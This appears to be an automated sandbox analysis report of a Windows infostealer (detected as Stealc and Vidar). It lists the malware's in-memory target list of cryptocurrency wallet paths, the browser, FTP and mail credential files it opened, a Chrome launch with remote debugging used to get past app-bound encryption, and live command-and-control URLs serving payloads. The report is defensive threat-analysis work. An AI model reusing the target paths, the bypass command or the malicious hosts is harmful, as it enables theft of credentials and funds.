Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.n
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: D81IGXZVuser\AppData\Roaming\\MultiDoge\\multidoge.wallet*&
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 740, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1977949025.00000000005A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1461137047.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1979495754.000000000133E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 740, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 740, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpHCFC.exe-data;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllJ	100%	Avira URL Cloud	malware
http://185.215.113.206%	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllt	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpio	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exe	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exeed	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll0	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeW	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://sb.scorecardresearch.com/b2?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780560329&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780552188&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780560899&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
